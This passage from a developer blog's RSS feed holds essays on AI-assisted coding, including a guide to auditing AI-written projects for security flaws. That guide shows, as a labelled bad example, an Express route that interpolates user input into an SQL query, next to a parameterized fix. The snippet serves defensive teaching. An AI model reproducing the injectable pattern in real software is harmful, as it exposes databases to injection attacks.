flawlessly.”</p><p>Interactive AI tools let you think at the architecture level while the AI handles the implementation level. You make decisions. The AI writes code. You maintain control and understanding. The AI handles the tedious translation from intent to syntax.</p><p>That’s the real 10x improvement.</p><p>Not “build me an app” magic that produces generic boilerplate you’ll spend days rebuilding.</p><p>But the ability to say “JWT with these exact claims, refresh rotation with this lifecycle, stored in httpOnly cookies” and get exactly that. First try. No guessing. No rebuilding.</p><h2 id="the-bottom-line"><strong>The Bottom Line</strong></h2><p>If you’re building serious software—production SaaS, client projects, anything you’ll maintain beyond next week—you need to understand what you’re building.</p><p>Autonomous tools that guess at your architecture don’t save time if you spend days fixing wrong assumptions.</p><p>Code you don’t understand becomes a liability the moment something breaks.</p><p>Decisions you never made can’t evolve with your requirements.</p><p>Control isn’t about micromanaging the AI. It’s about owning the architecture of software you’re responsible for maintaining.</p><p>The demos are impressive. The marketing is seductive. The promise of “just describe it” is tempting—and genuinely useful for the right contexts.</p><p>But for production software with real requirements, real constraints, and real consequences? Interactive tools that let you specify precisely what you need will outperform autonomous guesswork every time.</p><p>Be skeptical of demos. Demand control. Ship code you understand.</p>
]]></content:encoded></item><item><title>The Junior Dev Paradox: We’re Speed-Running Past the Tutorial</title><link>https://lakshminp.com/2025/11/junior-dev-ai-paradox/</link><pubDate>Sat, 01 Nov 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/11/junior-dev-ai-paradox/</guid><category>essays</category><category>craft</category><description>So here’s a fun thought experiment: What happens when an entire generation of developers learns to code by never actually learning to code?
I don’t mean that in the gatekeepy “back in my day we walked uphill both ways in assembly language” sense. I mean it literally. Right now, today, someone is getting their first junior dev job having built an impressive portfolio of projects they couldn’t debug if their life depended on it.</description><content:encoded>&lt;![CDATA[<p>So here’s a fun thought experiment: What happens when an entire generation of developers learns to code by never actually learning to code?</p><p>I don’t mean that in the gatekeepy “back in my day we walked uphill both ways in assembly language” sense. I mean it literally. Right now, today, someone is getting their first junior dev job having built an impressive portfolio of projects they couldn’t debug if their life depended on it.</p><p>And honestly? I’m not sure if that’s a problem or just&hellip; different.</p><h2 id="the-thing-nobody-wants-to-say-out-loud">The Thing Nobody Wants to Say Out Loud</h2><p>We—the developers who learned pre-AI—spent an ungodly amount of time doing things that, in retrospect, might have been pointless. Memorizing syntax. Reading documentation cover to cover because Stack Overflow didn’t have the answer. Spending three hours debugging only to find a missing semicolon. Writing the same boilerplate for the thousandth time because that’s just how you learned patterns.</p><p>That grind built something, though. Call it intuition. Call it muscle memory. Call it the ability to look at a stack trace and just<em>know</em> where the problem is because you’ve seen that exact error forty times before. We developed pattern recognition through sheer repetitive exposure, like some kind of coding Stockholm syndrome.</p><p>Junior devs today can skip all of that. They can describe what they want and watch Claude or Copilot generate it. They can ship features on day one that would’ve taken us weeks to build as juniors. They can contribute to complex codebases without understanding half of what’s happening under the hood.</p><p>Which is either the most amazing democratization of technical skills in history, or we’re a generation of developers who are one AI outage away from complete helplessness.</p><p>Probably both.</p><h2 id="what-we-might-be-losing">What We Might Be Losing</h2><p>Here’s what I wonder about:</p><p>Can you develop debugging intuition if AI catches most of your bugs?</p><p>Can you build system design sense if you’ve never had to architect something from scratch?</p><p>Can you really understand<em>why</em> something works if you’ve only ever described<em>what</em> you want it to do?</p><p>The old way of learning had a built-in forcing function. You<em>had</em> to understand data structures because you couldn’t implement anything without them. You<em>had</em> to read error messages carefully because that was your only clue. You<em>had</em> to develop mental models of how systems work because there was no AI to abstract it away.</p><p>It was inefficient as hell. It was also weirdly effective.</p><p>Now we’ve got junior devs who can ship impressive features but might struggle to explain what a hash table is or why their O(n^2) solution is melting production. They know how to make things work; they just don’t always know<em>why</em> they work or<em>how</em> to fix them when they don’t.</p><p>And before someone shows up in the comments with “well actually, they can just ask AI to debug it”—sure, until they can’t. Until the AI doesn’t understand the problem. Until the codebase is too complex or too weird or too legacy. Until, I don’t know,<a href="https://www.lakshminp.com/p/when-claude-code-goes-down-a-meditation" rel="external nofollow noopener" class="lnp-link">Claude Code goes down for five hours and suddenly you’re naked without your safety net</a>.</p><h2 id="what-we-might-be-gaining">What We Might Be Gaining</h2><p>But here’s the flip side: maybe we’re romanticizing the struggle.</p><p>Junior devs today are learning different skills. They’re getting good at prompt engineering, at articulating problems clearly, at evaluating AI-generated solutions. They’re exposed to more patterns, more codebases, more architectural approaches in their first year than we saw in five.</p><p>They’re also spending less time on tedious nonsense. Nobody needs to memorize the exact syntax for array methods or spend a week setting up a development environment. That time gets redirected to actually building things, to experimenting, to shipping.</p><p>And maybe—<em>maybe</em>—the fundamentals that matter are changing. Maybe understanding how to architect a system is more valuable than knowing how to implement every piece of it. Maybe code review skills and the ability to verify solutions matter more than the ability to generate them from scratch.</p><p>Maybe the fact that they can be productive on day one is a feature, not a bug.</p><h2 id="the-real-problem-the-copy-paste-generation">The Real Problem: The Copy-Paste Generation</h2><p>The actual risk isn’t that junior devs are using AI. It’s that some of them are using it as a crutch instead of a catalyst.</p><p>There’s a difference between “I don’t understand this, let me ask AI to explain it” and “I don’t understand this, so I’ll just copy-paste whatever AI gives me and hope it works.” One is learning accelerated by AI. The other is&hellip; well, it’s not learning at all.</p><p>We’re going to end up with a split: junior devs who use AI to move faster while still building understanding, and junior devs who are entirely dependent on AI to function. The<strong>first group will be terrifyingly productive</strong>. The second group is going to hit a wall the moment they encounter a problem AI can’t solve.</p><p>And here’s the uncomfortable part: it’s getting harder to tell them apart during hiring. Both can build impressive portfolios. Both can ship features. The difference only shows up when things break, when requirements get weird, when they need to dig into a gnarly legacy codebase that AI doesn’t understand.</p><h2 id="some-half-baked-solutions">Some Half-Baked Solutions</h2><p>So what do we do about this? I don’t have perfect answers, but here are some thoughts:</p><p><strong>For junior devs:</strong> Choose the harder path sometimes. Deliberately code without AI for practice. Build a project from scratch where you have to figure everything out manually. Read source code, not just documentation. When AI generates something, understand<em>why</em> it works before moving on. Treat AI as a tutor who’s always available, not a replacement for thinking.</p><p><strong>For seniors and mentors:</strong> Stop assuming junior devs have the same foundation you did. Be explicit about the “why” behind decisions. Create space for questions that might sound basic. Do code reviews that focus on understanding, not just functionality. Maybe assign “AI-free” tasks occasionally, not as hazing, but as skill-building.</p><p><strong>For companies:</strong> Normalize “I don’t know, let me learn this properly” instead of “ship at all costs.” Allocate time for learning, not just velocity. Celebrate understanding, not just output. Maybe reconsider how you evaluate technical skills in interviews—you’re not just testing if someone can code, you’re testing if they can think.</p><p><strong>For education:</strong> Stop pretending AI doesn’t exist. Teach people how to use it effectively, not how to avoid it. But also teach debugging, system design, and foundational concepts. The goal isn’t to reject AI; it’s to use it wisely while building real understanding.</p><h2 id="the-uncomfortable-non-conclusion">The Uncomfortable Non-Conclusion</h2><p>Here’s the truth: We’re all figuring this out in real-time. Every generation of developers has had this conversation in some form—about IDEs, about Stack Overflow, about frameworks that abstract away complexity. The old guard always worries the new guard doesn’t know “the fundamentals.”</p><p>Sometimes they’re right. Sometimes they’re just old. Also, “the fundamentals” is an ever shifting goal post.</p><p>I don’t know which this is yet. Ask me in five years when we see how this generation of AI-native developers performs at scale. Ask me when we see if they hit a ceiling or if they just built their skills differently.</p><p>What I do know is this: AI-assisted coding isn’t going away. The barrier to building software has collapsed. Junior devs can be productive faster than ever. And somewhere in there, we need to figure out how to preserve the understanding that makes you not just productive, but genuinely good at this job.</p><p>Because the best developers aren’t the ones who can generate code the fastest. They’re the ones who can look at a complex system, understand how it works, figure out why it’s broken, and know how to fix it. Whether you learned that through years of painful debugging or through AI-accelerated practice doesn’t really matter.</p><p>As long as you actually learned it.</p>
]]></content:encoded></item><item><title>When Claude Code Goes Down: A Meditation on Modern Dependency</title><link>https://lakshminp.com/2025/10/claude-code-downtime/</link><pubDate>Fri, 31 Oct 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/10/claude-code-downtime/</guid><category>essays</category><category>claude-code</category><description>Let me paint you a picture. It’s this evening. I’m in the zone. Fingers flying across the keyboard, that beautiful flow state where you and your AI coding assistant are one harmonious bug-squashing machine. And then, without warning, without so much as a courtesy error message, Claude Code just&amp;hellip; dies.
Not the graceful kind of death where systems send you helpful notifications. Well, okay, they had a status page. There was technically a “we’re experiencing technical difficulties” message somewhere on the internet if you went looking for it. But in the moment? When you’re mid-keystroke and suddenly your AI copilot just stops responding? It just felt gone. Vanished. Disappeared like my motivation to manually write boilerplate code.</description><content:encoded>&lt;![CDATA[<p>Let me paint you a picture. It’s this evening. I’m in the zone. Fingers flying across the keyboard, that beautiful flow state where you and your AI coding assistant are one harmonious bug-squashing machine. And then, without warning, without so much as a courtesy error message, Claude Code just&hellip; dies.</p><p>Not the graceful kind of death where systems send you helpful notifications. Well, okay, they had a status page. There was<em>technically</em> a “we’re experiencing technical difficulties” message somewhere on the internet if you went looking for it. But in the moment? When you’re mid-keystroke and suddenly your AI copilot just stops responding? It just felt gone. Vanished. Disappeared like my motivation to manually write boilerplate code.</p><p>For approximately thirty seconds, I experienced what I can only describe as the five stages of grief compressed into real-time panic. Denial: “It’s just my internet.” Anger: “ARE YOU KIDDING ME RIGHT NOW?” Bargaining: “Maybe if I restart everything seventeen times&hellip;” Depression: “I guess I’m just not deploying tonight.” And finally, acceptance: “Well, I suppose I could try coding like it’s 2019.”</p><p>The outage lasted about five hours. Five. Entire. Hours. In developer time, that’s basically a geological epoch. I had bugs to fix. Tests to run. Production deployments waiting. And here I was, suddenly expected to do all of this using only my own fragile, fallible human brain.</p><p>So I did what any reasonable developer would do: I panicked for another minute, then reluctantly dusted off those ancient skills we used to call “programming without an AI safety net.”</p><p>Here’s the uncomfortable truth nobody wants to admit: it wasn’t<em>that</em> bad. I mean, it was bad. Don’t get me wrong. It was slow and tedious and made me feel like I was debugging with mittens on. But I didn’t spontaneously combust. My IDE still worked. My fingers still remembered where the keys were. Muscle memory is apparently still a thing.</p><p>I fixed the bug. Eventually. It just took approximately three times longer than it should have because I had to do wild, archaic things like “read the documentation thoroughly” and “actually understand what my code was doing” instead of asking Claude Code to explain it to me like I’m five.</p><p>The testing phase was particularly brutal. Normally, I’d have Claude Code help me think through edge cases, generate test scenarios, and spot the stupid mistakes I’m invariably making. Instead, I had to use my own brain to think of test cases. My<em>own</em> brain! Like some kind of caveman! I had to actually remember what good test coverage looks like and implement it myself. The horror.</p><p>And deployment? Well, deployment was already sorted, thankfully. But the whole process of getting there—fixing the bug, testing it properly, making sure everything was ready to ship—felt like wading through molasses. Without my AI copilot catching my typos, suggesting optimizations, and helping me think through edge cases, every step just took longer than it should have.</p><p>But here’s where it gets really pathetic. After about two hours of this manual labor cosplay, I had a brilliant idea. Claude Code might be down, but wasn’t there Claude Code<em>web</em>? Like, the browser version? Different infrastructure, right? Surely that was still running?</p><p>So I did what any self-respecting, definitely-not-addicted developer would do: I pulled my entire git repo into Claude Code web and just&hellip; kept working there. Yes, you read that right. My solution to Claude Code being down was to use a different version of Claude Code. I replaced my broken AI dependency with a slightly different flavour of the exact same AI dependency.</p><p>The technical term for this is “problem-solving.” The accurate term for this is “I have a problem.”</p><p>It actually worked pretty well as an interim hack, which is either a testament to Anthropic’s redundancy planning or a damning indictment of my ability to function independently. Probably both. The web version was a bit clunkier for my workflow, sure, but it beat slowly dying inside while manually parsing error messages.</p><p>The whole experience gave me a weird kind of perspective. It’s like when your phone dies and you suddenly remember you have hands and can look at things in real life. Except instead of appreciating nature, I was appreciating how much faster AI makes me at my job.</p><p>I can technically code without Claude Code. I proved that tonight. It’s like how I can technically do math without a calculator—possible, legal, but why would I choose suffering? The old ways still work. They’re just&hellip; inefficient. Tedious. The kind of thing that makes you question your career choices around the third hour of manually debugging something that Claude Code would’ve spotted in thirty seconds.</p><p>But sitting there in the dark ages of 2019-style development, something struck me. It’s been barely any time at all since AI coding assistants became genuinely useful. A few years ago, we were all coding exactly like this—manually, slowly, relying entirely on our own pattern recognition and Stack Overflow. And we thought we were pretty damn efficient.</p><p>Now? Now a five-hour outage feels like a crisis. That’s how far we’ve come. That’s how quickly this technology went from “neat party trick” to “fundamental part of my workflow” to “how did I ever function without this.”</p><p>I spent those five hours slightly inconvenienced, moving slower than usual, but still shipping code to production. A decade ago, this was just called “having a normal day at work.” Today, it felt like working with a handicap. That shift happened so fast we barely noticed it occurring.</p><p>We’re living through one of those rare moments where technology isn’t just improving incrementally—it’s fundamentally changing how we work. And tonight, in the brief absence of that technology, I got a glimpse of both where we’ve been and how far we’ve traveled.</p><p>The tools came back online. I went back to my normal pace. But I won’t forget that brief window of forced perspective, that reminder that we’re experiencing something genuinely transformative in real-time. Even if it did feel painfully slow while it was happening.</p>
]]></content:encoded></item><item><title>How to Secure Your Vibe-Coded Project (Before It Secures You)</title><link>https://lakshminp.com/2025/10/how-to-secure-your-vibe-coded-project/</link><pubDate>Thu, 30 Oct 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/10/how-to-secure-your-vibe-coded-project/</guid><category>essays</category><category>security</category><description>Most developers ship AI-generated code without security audits. Here&amp;rsquo;s how to catch vulnerabilities before they become breaches—without hiring a security team.
You&amp;rsquo;re moving fast. AI is writing code. You&amp;rsquo;re shipping features daily. But speed creates blind spots—and security vulnerabilities love blind spots.
I&amp;rsquo;ve watched developers ship vibe-coded projects that worked but had SQL injection holes, exposed API keys, and broken authentication. Not because they were careless—because they were solo and didn&amp;rsquo;t have time to review every line AI generated.</description><content:encoded>&lt;![CDATA[<p>Most developers ship AI-generated code without security audits. Here&rsquo;s how to catch vulnerabilities before
they become breaches—without hiring a security team.</p><p>You&rsquo;re moving fast. AI is writing code. You&rsquo;re shipping features daily. But speed creates blind spots—and
security vulnerabilities love blind spots.</p><p>I&rsquo;ve watched developers ship vibe-coded projects that<em>worked</em> but had SQL injection holes, exposed
API keys, and broken authentication. Not because they were careless—because they were solo and didn&rsquo;t have
time to review every line AI generated.</p><p><strong>Here&rsquo;s the truth: you can&rsquo;t manually audit everything. But you can automate the audit.</strong></p><h2 id="why-incremental-reviews-arent-enough">Why Incremental Reviews Aren&rsquo;t Enough</h2><p>Tools like<code>/security-review</code> catch issues in pull requests. That&rsquo;s great for new code. But what
about legacy code? Configurations that haven&rsquo;t been touched in months? Dependencies with known CVEs?</p><p>Incremental reviews are daily vitamins. Full audits are annual physicals. You need both.</p><h2 id="what-a-security-audit-should-cover">What a Security Audit Should Cover</h2><p>A comprehensive security audit doesn&rsquo;t just scan for SQL injection. It evaluates your entire attack surface
against industry-standard frameworks:</p><ul><li><strong>OWASP Top 10 2021</strong> — Broken access control, cryptographic failures, injection attacks</li><li><strong>OWASP API Security Top 10 2023</strong> — Broken object-level authorization, mass assignment, security misconfigurations</li><li><strong>Cloud &amp; Infrastructure Security</strong> — Misconfigured S3 buckets, exposed environment variables, weak IAM policies</li><li><strong>Supply Chain Security</strong> — Vulnerable dependencies, outdated packages, insecure third-party integrations</li></ul><h2 id="the-four-layers-of-a-proper-audit">The Four Layers of a Proper Audit</h2><h3 id="1-reconnaissance-understanding-your-stack">1. Reconnaissance: Understanding Your Stack</h3><p>Before auditing, the tool needs to know what you&rsquo;re running: Node.js? Python? Docker? Postgres or MongoDB?
Framework: Express, FastAPI, Next.js?</p><p>This determines which vulnerability patterns to look for. SQL injection matters in Postgres apps. NoSQL injection
matters in MongoDB apps. Different stacks, different attack vectors.</p><h3 id="2-code-analysis-finding-hidden-vulnerabilities">2. Code Analysis: Finding Hidden Vulnerabilities</h3><p>This is where the audit scans every file—not just recent changes—looking for patterns that indicate security issues:</p><ul><li>User input flowing directly into database queries (SQL/NoSQL injection risk)</li><li>Hardcoded secrets or credentials in code</li><li>Missing authentication checks on sensitive endpoints</li><li>Weak cryptography (MD5, SHA1) for passwords or tokens</li><li>Overly permissive CORS policies</li><li>Exposed debug endpoints in production</li></ul><div class="lnp-codeblock lnp-code-quiet"><div class="lnp-codeblock-head"><span class="lnp-lang">javascript</span><button type="button" class="lnp-codeblock-copy" data-copy= aria-label="Copy code">copy</button></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// BAD: SQL injection vulnerability</span></span></span><span class="line"><span class="cl"><span class="nx">app</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s1">'/user'</span><span class="p">,</span><span class="p">(</span><span class="nx">req</span><span class="p">,</span><span class="nx">res</span><span class="p">)</span><span class="p">=&gt;</span><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="kr">const</span><span class="nx">userId</span><span class="o">=</span><span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">.</span><span class="nx">id</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="nx">db</span><span class="p">.</span><span class="nx">query</span><span class="p">(</span><span class="sb">`SELECT * FROM users WHERE id =</span><span class="si">${</span><span class="nx">userId</span><span class="si">}</span><span class="sb">`</span><span class="p">);</span><span class="c1">// Dangerous!</span></span></span><span class="line"><span class="cl"><span class="p">});</span></span></span><span class="line"><span class="cl"/></span><span class="line"><span class="cl"><span class="c1">// GOOD: Parameterized query</span></span></span><span class="line"><span class="cl"><span class="nx">app</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s1">'/user'</span><span class="p">,</span><span class="p">(</span><span class="nx">req</span><span class="p">,</span><span class="nx">res</span><span class="p">)</span><span class="p">=&gt;</span><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="kr">const</span><span class="nx">userId</span><span class="o">=</span><span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">.</span><span class="nx">id</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="nx">db</span><span class="p">.</span><span class="nx">query</span><span class="p">(</span><span class="s1">'SELECT * FROM users WHERE id = ?'</span><span class="p">,</span><span class="p">[</span><span class="nx">userId</span><span class="p">]);</span></span></span><span class="line"><span class="cl"><span class="p">});</span></span></span></code></pre></div></div><h3 id="3-configuration-review-infrastructure-security">3. Configuration Review: Infrastructure Security</h3><p>Code vulnerabilities are obvious. Configuration vulnerabilities are subtle:</p><ul><li>Are environment variables properly isolated?</li><li>Do Docker containers run as root? (They shouldn&rsquo;t.)</li><li>Are cloud storage buckets publicly accessible?</li><li>Is TLS enforced on all endpoints?</li><li>Are rate limits configured to prevent abuse?</li></ul><p>These issues don&rsquo;t show up in code reviews. They live in config files, environment variables, and infrastructure settings.</p><h3 id="4-dependency-scanning-supply-chain-vulnerabilities">4. Dependency Scanning: Supply Chain Vulnerabilities</h3><p>Your code might be secure, but your dependencies might not be. Audit tools scan<code>package.json</code>,<code>requirements.txt</code>, and<code>go.mod</code> against databases of known CVEs (Common Vulnerabilities and Exposures).</p><p>If a package has a critical security flaw, you&rsquo;ll know—and you&rsquo;ll get specific remediation guidance (upgrade to version X.Y.Z).</p><h2 id="how-to-run-an-effective-security-audit">How to Run an Effective Security Audit</h2><p>If you&rsquo;re using Claude Code, you can install a<code>/security-audit</code> slash command that automates this entire process.
It performs reconnaissance, analyzes every file, reviews configurations, and scans dependencies—generating an actionable report.</p><p>The key difference from incremental reviews:<strong>it catches everything</strong>—even vulnerabilities in code you wrote
months ago and haven&rsquo;t touched since.</p><h3 id="installation">Installation</h3><p>Global installation (available across all projects):</p><div class="lnp-codeblock lnp-code-quiet"><div class="lnp-codeblock-head"><span class="lnp-lang">bash</span><button type="button" class="lnp-codeblock-copy" data-copy= aria-label="Copy code">copy</button></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">mkdir -p ~/.claude/commands</span></span><span class="line"><span class="cl">curl -o ~/.claude/commands/security-audit.md https://example.com/security-audit.md</span></span></code></pre></div></div><p>Project-specific installation (for team collaboration):</p><div class="lnp-codeblock lnp-code-quiet"><div class="lnp-codeblock-head"><span class="lnp-lang">bash</span><button type="button" class="lnp-codeblock-copy" data-copy= aria-label="Copy code">copy</button></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">mkdir -p .claude/commands</span></span><span class="line"><span class="cl">curl -o .claude/commands/security-audit.md https://example.com/security-audit.md</span></span></code></pre></div></div><h3 id="running-the-audit">Running the Audit</h3><p>From Claude Code, type:</p><div class="lnp-codeblock lnp-code-quiet"><div class="lnp-codeblock-head"><span class="lnp-lang">bash</span><button type="button" class="lnp-codeblock-copy" data-copy= aria-label="Copy code">copy</button></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">/security-audit</span></span></code></pre></div></div><p>The tool will:</p><ol><li>Identify your tech stack</li><li>Scan every file for vulnerability patterns</li><li>Review configurations (Docker, env files, cloud settings)</li><li>Check dependencies against CVE databases</li><li>Generate a prioritized report with specific remediation steps</li></ol><h2 id="when-to-audit">When to Audit</h2><p><strong>Use<code>/security-review</code> during daily development</strong> for fast feedback on pull requests.</p><p><strong>Use<code>/security-audit</code> monthly or quarterly</strong> for comprehensive assessment—especially before major releases
or when adding new features that touch sensitive data.</p><p>Think of them as complementary: one catches new issues, the other catches everything.</p><h2 id="the-20-that-prevents-80-of-breaches">The 20% That Prevents 80% of Breaches</h2><p>Most security incidents aren&rsquo;t sophisticated zero-days. They&rsquo;re basic misconfigurations: exposed API keys, missing authentication,
unpatched dependencies.</p><p>A security audit catches these low-hanging issues—the 20% of configs that prevent 80% of breaches. You&rsquo;re not trying to build
Fort Knox. You&rsquo;re trying to avoid being the easy target.</p><h2 id="security-is-a-discipline-not-a-feature">Security is a Discipline, Not a Feature</h2><p>When you&rsquo;re running solo, security feels like something you&rsquo;ll &ldquo;get to later.&rdquo; But later turns into never—until something breaks.</p><p><strong>Automate the audit. Run it regularly. Fix what it finds.</strong></p><p>You don&rsquo;t need a security team. You need visibility into what&rsquo;s broken and specific guidance on how to fix it. That&rsquo;s what a
proper security audit provides.</p><p>Because the best time to find vulnerabilities is before attackers do.</p>
]]></content:encoded></item><item><title>10 Ways to Waste Time and Money with AI Agents: A Field Guide to Self-Sabotage</title><link>https://lakshminp.com/2025/10/ai-agent-mistakes/</link><pubDate>Wed, 29 Oct 2025 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2025/10/ai-agent-mistakes/</guid><category>essays</category><category>ai-coding</category><description>Money spent is obvious—we burn through tokens like a hedge fund manager through investor capital, exhausting our weekly quotas by Tuesday. Time, however, is subtle and invisible. Something I call the Anti-AI Paradox: that creeping realization that you could have hand-coded the entire feature in half the time it took to “collaborate” with your AI assistant. Let me save you some grief.
1. Being Super Vague AI models are getting smarter by the day. But they can’t read tea leaves like some digital oracle you summoned from Silicon Valley. “My ‘Schedule’ button isn’t scheduling the post.” Sure, Einstein. I can see that. Revolutionary observation.</description><content:encoded>&lt;![CDATA[<p>Money spent is obvious—we burn through tokens like a hedge fund manager through investor capital, exhausting our weekly quotas by Tuesday. Time, however, is subtle and invisible. Something I call the Anti-AI Paradox: that creeping realization that you could have hand-coded the entire feature in half the time it took to “collaborate” with your AI assistant. Let me save you some grief.</p><h1 id="1-being-super-vague">1. Being Super Vague</h1><p>AI models are getting smarter by the day. But they can’t read tea leaves like some digital oracle you summoned from Silicon Valley. “My ‘Schedule’ button isn’t scheduling the post.” Sure, Einstein. I can see that. Revolutionary observation.</p><p>Give me more context. What do you see in the logs? What did you<em>expect</em> to happen? What happened instead? Did it fail silently? Throw an error? Launch the nuclear codes? Eric S. Raymond’s “<a href="https://github.com/selfteaching/How-To-Ask-Questions-The-Smart-Way" rel="external nofollow noopener" class="lnp-link">How to Ask Questions The Smart Way</a>” is still devastatingly relevant after all these years, but apparently nobody got the memo.</p><p>The AI isn’t a mind reader—it’s a very expensive pattern matcher. Treat it accordingly.</p><h1 id="2-vibe-coding-in-the-truest-spirit">2. Vibe Coding in the Truest Spirit</h1><p>I’m going to hit “Accept” until my fingers are sore or the code does what I want. Whichever comes first. It’s like Russian roulette, but with merge conflicts.</p><p>No. Take a step back.<em>Talk</em> with your tool about what needs to be implemented and what the approach should be. It is imperative—not optional, not nice-to-have—that you understand it. Ask questions until you do. Don’t allow a single line of code to be written without you knowing the consequences.</p><p>Don’t pay the ignorance tax. The interest rates are criminal.</p><h1 id="3-dont-read-the-code-written-by-ai">3. Don’t Read the Code Written by AI</h1><p>Again, just hit “Accept” and pray to whatever deity oversees production deployments. Why read? Why think? Why have standards?</p><p>You need to know the consequences. How this piece affects other parts of your codebase. How the addition of a new feature might possibly break something else that’s been working fine for three months. I feel even AIs aren’t good enough at this second-order thinking. So many “You’re absolutely right!” responses to things that were<em>obvious</em> in hindsight but the AI somehow missed.<a href="https://www.reddit.com/r/ClaudeAI/comments/1ogw8ht/hot_take_youre_absolutely_right_is_a_bug_not_a/" rel="external nofollow noopener" class="lnp-link">This Reddit thread is in equal parts hilarious and terrifying.</a></p><p>Code review exists for a reason. Even if the author is artificial.</p><h1 id="4-do-multiple-changes-in-one-session">4. Do Multiple Changes in One Session</h1><p>This is a surefire way to confuse the heck out of the AI, and eventually yourself. Congratulations, you’ve achieved parity—you’re both lost.</p><p>Have one Claude/Cursor session for one unit of work. It can be a simple fix for a broken sidebar. Or preparation for something monumental, like refactoring all functions to use JWT. How do you figure out the right unit of work? Depends on context. (Your mileage may vary, batteries not included, void where prohibited.) There are<a href="https://github.com/steveyegge/beads" rel="external nofollow noopener" class="lnp-link">tools</a> to divide your “build me an image editing tool” prompt into proper AI and human digestible units of work.</p><p>In the JWT example, maybe all the functions are in the auth module only. Not a lot of context switching—for both carbon and silicon-based lifeforms. Even if it breaks, you can purge that commit off the face of the earth, go back to the drawing board, recoup, rethink, and re-execute.</p><p>But what if you club both examples in the same session? A broken sidebar comes across as a seemingly harmless fix, only to discover that the “fix” isn’t responsive, and now you need to add a new library, a consequence of which is that<code>npm run build</code> fails spectacularly. You debug this rabbit hole for an hour. Your context window explodes like a supernova. You didn’t fix the sidebar. Two hours and eight dollars in credits flew by. (Just sayin’.)</p><p>Which brings us to&hellip;</p><h1 id="5-choke-the-context-window">5. Choke the Context Window</h1><p>We need to be strategic with our prompts and questions. They need surgical precision, not the intellectual equivalent of a shotgun blast.</p><p>When you say “the register endpoint in @app.py returns 500 if the email already exists, but @utils.py already has a check for that,” you’re sending the entire 1,000-line app.py file and the 1,500-line utils.py file into your precious context window. Congratulations, you just spent $2 to ask a $0.50 question.</p><p>Even better: when you coded app.py and utils.py in the first place, don’t make them 5,000 lines long. Even if the AI<em>wants</em> to take any of these files into context, it will result in context hemorrhage sooner or later. Give clear instructions to the AI not to make your files and modules like Homer’s Iliad. Nobody wants to read that much Python in one sitting.</p><p>If your codebase was written by humans (remember those?), create units of work to refactor these monstrosities. Your future self will thank you profusely. The AI even more.</p><h1 id="6-dont-use-parallel-sessions">6. Don’t Use Parallel Sessions</h1><p>When you’re building a feature—say, WebSocket integration—and have another in the pipeline, you fire up your IDE, give clear instructions, rightsized units of work, and then&hellip; you twiddle your thumbs while the AI finishes, right? Making coffee? Checking Twitter? Contemplating the heat death of the universe?</p><p>Have you considered using git worktrees and parallel sessions so that they can execute independently of each other? Later, you can merge both feature branches into the parent branch. Revolutionary concept, I know.</p><p>Here’s another kicker: you can orchestrate an AI agent to do this entire thing for you—split into parallel units of work, create git worktrees, orchestrate parallel sessions, review and merge back the code, clean up. It isn’t a stretch to say we’re hitting technological singularity. The robots are already doing the DevOps we were too lazy to automate properly.</p><p>I wrote a piece related to this:</p><h1 id="7-mcp-overuse">7. MCP Overuse</h1><p>MCPs (Model Context Protocol servers) consume tokens. A<em>lot</em> of them. They’re the SUVs of the API world—powerful, useful, and absolute gas guzzlers.</p><p>Use prudence and exercise your own judgment here. For example, to scaffold a GitHub repo with a FastAPI boilerplate, the GitHub MCP is the slowest and costliest way. You’re better off using the<code>gh</code> CLI. Or, you know, copying a template. Revolutionary, I know.</p><p>Not all MCP use is stupid. But some of it is<em>really</em> stupid.</p><h1 id="8-mcp-underuse">8. MCP Underuse</h1><p>Context7 MCP is used by your AI to refer to up-to-date documentation for the libraries and APIs you use. Use the GitHub or JIRA MCP to update the task you’ve been working on. The utility value of MCPs is staggering.</p><p>If you’re not using MCPs where they make sense, you’re simply leaving time and money on the table. It’s like having a Swiss Army knife and only using the bottle opener. Sure, it works, but you’re missing out.</p><h1 id="9-dont-write-tests">9. Don’t Write Tests</h1><p>Did you finish a unit of work? Did you forget to write tests for that? Superb! Because this is going to come back and haunt you after weeks—possibly months—when you’re shipping something else on a tight deadline, and this thing you wrote many lifetimes ago is suddenly, inexplicably broken.</p><p>Every unit of work that goes in as a git commit must be tested. At least manually. Preferably with actual test cases that run in CI/CD and don’t just live in your head as “yeah, I’m pretty sure this works.”</p><p>Future you is going to hunt down present you with a very particular set of grievances. Don’t give them ammunition.</p><p>Again, a related post:</p><h1 id="10-dont-update-your-projects-context">10. Don’t Update Your Project’s Context</h1><p>Something AIs and humans have in common: context is everything. And both forget it constantly.</p><p>Picture this: you’re three months into a project. You open a file. “Wait, the architecture document says we use Redis to store the messages. But here we are using ZeroMQ. Let me do a git blame.”</p><p>Ah. You did it three weeks back. Right before going on vacation. The context that seemed<em>so obvious</em> at the time has evaporated like morning dew. You’re now an archaeologist excavating your own code, trying to understand why Past You made these decisions.</p><p>Update your project’s context. Maintain a living document—a README, an architecture decision record, inline comments that aren’t just “// fix later” (spoiler: you won’t). Explain<em>why</em> you made certain choices. Your AI needs this context to give you useful suggestions. Your human collaborators need it to not send you passive-aggressive Slack messages. Your future self needs it to avoid existential crises at 2 AM.</p><p>“We switched from Redis to ZeroMQ because the message ordering guarantees were critical for the event sourcing pattern we implemented in sprint 12.” There. Was that so hard? 